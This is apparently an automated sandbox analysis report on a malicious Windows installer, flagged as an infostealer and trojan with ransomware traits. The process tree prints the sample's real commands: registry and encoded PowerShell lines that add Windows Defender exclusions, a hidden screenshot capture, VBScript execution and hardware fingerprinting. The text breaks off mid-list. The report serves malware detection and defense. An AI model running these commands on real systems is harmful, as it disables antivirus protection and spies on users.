Overview

overview

10

Static

static

3

v2.4.1.zip

windows11-21h2-x64

1

v2.4.1.exe

windows11-21h2-x64

10

$PLUGINSDI...er.dll

windows11-21h2-x64

3

$PLUGINSDI...ls.dll

windows11-21h2-x64

3

$PLUGINSDI...em.dll

windows11-21h2-x64

3

$PLUGINSDIR/app-64.7z

windows11-21h2-x64

1

Installer.exe

windows11-21h2-x64

10

LICENSES.c...m.html

windows11-21h2-x64

3

d3dcompiler_47.dll

windows11-21h2-x64

1

ffmpeg.dll

windows11-21h2-x64

1

libEGL.dll

windows11-21h2-x64

1

libGLESv2.dll

windows11-21h2-x64

1

locales/fa.pak

windows11-21h2-x64

3

locales/fi.pak

windows11-21h2-x64

3

locales/fil.pak

windows11-21h2-x64

3

locales/fr.pak

windows11-21h2-x64

3

locales/gu.pak

windows11-21h2-x64

3

locales/he.pak

windows11-21h2-x64

3

locales/hi.pak

windows11-21h2-x64

3

locales/hr.pak

windows11-21h2-x64

3

locales/hu.pak

windows11-21h2-x64

3

locales/id.pak

windows11-21h2-x64

3

locales/it.pak

windows11-21h2-x64

3

resources/app/main.js

windows11-21h2-x64

3

resources/elevate.exe

windows11-21h2-x64

3

v8_context...ot.bin

windows11-21h2-x64

3

vk_swiftshader.dll

windows11-21h2-x64

1

vk_swiftsh...d.json

windows11-21h2-x64

3

vulkan-1.dll

windows11-21h2-x64

1

$PLUGINSDI...ec.dll

windows11-21h2-x64

3

$PLUGINSDI...7z.dll

windows11-21h2-x64

3

$R0/Uninst...er.exe

windows11-21h2-x64

7

Analysis

  • max time kernel
    900s
  • max time network
    910s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    09/08/2026, 14:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Installer.exe
  • Size 168.1MB
  • Sample260809-r7eppss1es
  • SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecredential_accessdefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Suspicious use of NtCreateProcessExOtherParentProcess 25 IoCs
  • Windows security bypass 2 TTPs 14 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

    defense_evasion
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • System Binary Proxy Execution: Rundll32 1 TTPs 2 IoCs

    Abuse Rundll32 to proxy execution of malicious code.

    defense_evasion
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 7 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 50 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 26 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 43 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Downloads MZ/PE file
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3948
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "ps -p 3184 -o comm=,ppid="
      2⤵
      • Executes a command shell one-liner
      PID:2264
    • C:\Users\Admin\AppData\Local\Temp\Installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1676 --field-trial-handle=1680,i,9804295901288251749,510990012957870071,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
      2⤵
        PID:3004
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:4200
        • C:\Users\Admin\AppData\Local\Temp\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2008 --field-trial-handle=1680,i,9804295901288251749,510990012957870071,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          2⤵
            PID:4388
          • C:\Users\Admin\AppData\Local\Temp\Installer.exe
            "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2192 --field-trial-handle=1680,i,9804295901288251749,510990012957870071,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
            2⤵
              PID:4384
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:400
              • C:\Windows\system32\reg.exe
                reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
                3⤵
                  PID:2416
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_4b0e76.png\"); $g.Dispose(); $bmp.Dispose()""
                2⤵
                • Hide Artifacts: Hidden Window
                • Suspicious use of WriteProcessMemory
                PID:2736
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_4b0e76.png\"); $g.Dispose(); $bmp.Dispose()"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4356
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "net session"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5100
                • C:\Windows\system32\net.exe
                  net session
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3392
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 session
                    4⤵
                      PID:2024
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wusetup_89bbd9.vbs""
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4420
                  • C:\Windows\system32\wscript.exe
                    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wusetup_89bbd9.vbs"
                    3⤵
                    • Executes a VBScript file via the Windows Script Host.
                    PID:1656
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5080
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                    3⤵
                    • Windows security bypass
                    PID:2948
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1680
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                    3⤵
                      PID:2728
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:3476
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14" /t REG_DWORD /d 0 /f
                      3⤵
                      • Windows security bypass
                      PID:1268
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:1780
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14" /t REG_DWORD /d 0 /f
                      3⤵
                        PID:2052
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2568
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data" /t REG_DWORD /d 0 /f
                        3⤵
                        • Windows security bypass
                        PID:2708
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:3176
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data" /t REG_DWORD /d 0 /f
                        3⤵
                          PID:4664
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:952
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe" /t REG_DWORD /d 0 /f
                          3⤵
                          • Windows security bypass
                          PID:2392
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:416
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe" /t REG_DWORD /d 0 /f
                          3⤵
                            PID:2496
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3916
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:3272
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1344
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:4876
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1248
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
                            3⤵
                            • Windows security bypass
                            PID:2936
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
                          2⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2064
                          • C:\Windows\system32\reg.exe
                            reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
                            3⤵
                              PID:2060
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAZABhAHQAYQBcAG0AcwBsAHgAYwB6AGcAaABlAGQAMQA0ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAZABhAHQAYQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQQBwAHAARABhAHQAYQBcAGQAYQB0AGEAXABtAHMAbAB4AGMAegBnAGgAZQBkADEANABcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
                            2⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:660
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAZABhAHQAYQBcAG0AcwBsAHgAYwB6AGcAaABlAGQAMQA0ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAZABhAHQAYQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQQBwAHAARABhAHQAYQBcAGQAYQB0AGEAXABtAHMAbAB4AGMAegBnAGgAZQBkADEANABcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
                              3⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1684
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                            2⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4324
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic baseboard get serialnumber /value
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1496
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                            2⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:888
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic diskdrive get serialnumber /value
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5060
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                            2⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1836
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic baseboard get serialnumber /value
                              3⤵
                                PID:4172
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                              2⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4668
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic diskdrive get serialnumber /value
                                3⤵
                                  PID:4836
                              • C:\Windows\system32\cmd.exe
